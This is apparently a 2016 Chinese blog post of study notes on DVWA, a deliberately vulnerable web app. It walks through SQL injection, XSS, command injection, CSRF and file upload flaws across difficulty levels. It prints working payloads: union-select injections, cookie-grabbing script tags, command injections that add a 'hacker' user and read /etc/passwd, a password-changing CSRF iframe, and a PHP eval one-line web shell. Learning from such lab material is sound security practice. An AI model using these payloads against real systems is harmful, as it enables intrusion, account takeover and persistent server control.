DVWA学习笔记

一开始有点乱,后期会整理哒

DVWA的安装

解压 --> 修改config.inc.php文件,把mysql的用户名和密码改成我们安装机器的用户名和密码,访问,第一次就会跳到setup界面。点击Create就可以了

乱码问题,如果出现乱码了,那DVWA\dvwa\includes\dvwaPage.inc.php修改文件,使得Header('charset=utf-8')改为gb2312.

DVWA的基本漏洞——SQL

乌云上最常见的脚本漏洞莫过于SQL注入和XSS。

脚本安全的本质就是脚本接受了不安全的变量输入,又没得到有效的过滤,最后进入一些对敏感的函数就会对安全造成威胁。

最基本的SQL漏洞(low):

1 if(isset($_GET['Submit'])){
2 
3     // Retrieve data
4 
5     $id = $_GET['id'];
6 
7     $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";//low.php
8     $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

没有任何检查,自然就可以控制id了,如果我们的输入是“' union select ....”,那么就相当于多执行了一个语句。当然,用什么语句也是很讲究的。

再来看medium等级的

 1 //medium.php
 2 if (isset($_GET['Submit'])) {
 3 
 4     // Retrieve data
 5 
 6     $id = $_GET['id'];
 7     $id = mysql_real_escape_string($id);
 8 
 9     $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
10 
11     $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
12 
13     $num = mysql_numrows($result);

虽然$id经过了mysql_real_escape_string转义了’,可是因为后面的SQL语句$id没有单引号保护,会被系统认为是数值型,导致数值型注入。。

这个时候构造,连分号都不要了。。“ 1 union select ...”

 

 DVWA的基本漏洞——XSS

脚本问题,终极目的是窃取cookie什么的。。

DVWA下的;low等级下,几乎没有什么防护,直接插入语句就可以了,像

<script>alert("五更钟")<script>

<script>alert(document.cookie)<script>

 

medium.php中,虽然对$message进行了尖括号转义,而且对 <script> 进行了替换,但是$name没有进行转义,而且跨站脚本可以用多种标签,如 <img /> ,等…。Name的 <input /> 限制了maxlength=‘10’的长度,但是我们的防御对象是精通技术的黑客。这种html下的长度限制是可以直接通过浏览器修改..然后通过大小写成功绕过str_replace(),插入XSS.

 

DVWA-Command Execution

low等级下,根本没有防护,我们分析一下代码功能:

 1 <?php
 2 
 3 if( isset( $_POST[ 'Submit' ]  ) ) {
 4     // Get input
 5     $target = $_REQUEST[ 'ip' ];
 6 
 7     // Determine OS and execute the ping command.
 8     if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 9         // Windows
10         $cmd = shell_exec( 'ping  ' . $target );
11     }
12     else {
13         // *nix
14         $cmd = shell_exec( 'ping  -c 4 ' . $target );
15     }
16 
17     // Feedback for the end user
18     echo "<pre>{$cmd}</pre>";
19 }
20 
21 ?> 
low

获取ip --> 根据操作系统的不同决定shell的执行,你知道的, 不给Linux系统设置一下传包个数,都不会完。。

试试看输入“0|dir”,路径就出来了

试试“0|net user hacker/add” 呵呵

除了shell_exec还有几个命令常常造成bug:system|passthru|exec|popen|proc_open|move_upload_file|eval|copy

medium等级下注意这句:

$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

好吧,你知道的,想法是好的,但是str_replace它用的不全啊,连“|”都不换掉。。

 在linux平台下,可以试试“ip;cat /etc/passwd”感觉这个漏洞对linux的影响比较大,毕竟大家习惯在linux下命令行来,命令行去的。

 

 

 File Inclusion 文件包含漏洞

 

CSRF漏洞

       DVWA下的CSRF漏洞是一个密码修改,而且修改URL是:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

       黑客就可以构造一个网页,将上面这段代码放入网页中,然后诱骗管理员打开这个页面,如果此时管理员恰好正在对网站进行操作,在管理员的浏览器与网站之间建立好了会话,那么上面这段代码就会生效。就是这么简单。比如这个利用 http://www.bitscn.com/net/615120.html

 

<img src=mm.jpg>

<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#" frameborder="0" ;0" />

 

 到medium等级,验证了Referer字段,这个我就不多说,从该文中的解释我觉得很好

      在通常情况下,访问一个安全受限页面的请求应来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallor,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的Referer值就会是转账按钮所在的页面的URL,通常是以bank.example域名开头的地址。而如果黑客要对银行网站实施CSRF攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的Referer是指向黑客自己的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank.example开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。
      在DVWA中,管理员是通过本地地址127.0.0.1来访问密码修改页面的,因而对于任何一个修改密码的请求,如果其Referer不是127.0.0.1,那么就判断为CSRF攻击,而予以拒绝。正常Referer:http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/(我部署在8088端口啦)
      然而这种方法并非万无一失,由于Referer的值是由浏览器提供的,对于某些浏览器,可以利用一些方法来篡改Referer值。所以黑客完全可以把用户浏览器的Referer值修改为需要的地址,这样就可以通过验证,从而进行 CSRF 攻击。
另外即使黑客无法篡改Referer值,这种方法也仍然存在问题。因为Referer值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心Referer值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。
      总之,通过验证HTTP Referer字段来防止CSRF攻击是不可靠的,这也是为什么DVWA的medium级别采用这种防御方法的原因。不过虽然是medium等级,但是Referer的值你以为那么好改,我目前还没有看到要怎么合理利用使得被害用户能心甘情愿的改Referer。。不过这个设置有个挺大的bug,就是使用了eregi函数呀,

if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 

这是匹配函数int eregi(string pattern, string string, array [regs]);

 
即如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,
则匹配项将被存入 regs 数组中。
regs[0] 内容就是原字符串 string,
$regs[1] 包含第一个左圆括号开始的子串,
$regs[2] 包含第二个子串,以此类推。
若省略参数 regs,则只是单纯地比对,找到则返回值为 true。

也就是,我只要包含到 'SERVER_NAME'说不定。。

       high等级就更厉害啦,验证了token值,checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
隐藏在表单中:<input type="hidden" name="user_token" value="03e575eba665be96b285cf3240876fec">

我们来看看度娘的经验 ,写挺好

 

然后就是impossible等级,

都这个样子了还有什么好说的

 

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 

    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 

    // Do both new passwords match and does the current password match the user? 
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->execute(); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 
impossible level

 

 

 File Upload 文件上传漏洞

呐,这个呢,上传漏洞主要注意基本三点:文件名检测、文件类型检测、内容检测

low等级下没有检测。。。。直接上传乱七八糟的东西都可以。。

medium等级下做类型检测和长度限制,这样一改,ok了

上传之后能干什么呢?

打开中国菜刀(膜大神Orz)

 

也就是,用工具连接我们上传的一句话木马(<?php @eval($_POST['123']);?>  ),然后就OK了

 

 

 

 

 

参考学习链接:

http://drops.wooyun.org/papers/483?utm_source=tuicool&utm_medium=referral

 

 

posted @ 2016-03-22 09:46  普洛提亚  阅读(1405)  评论(0编辑  收藏  举报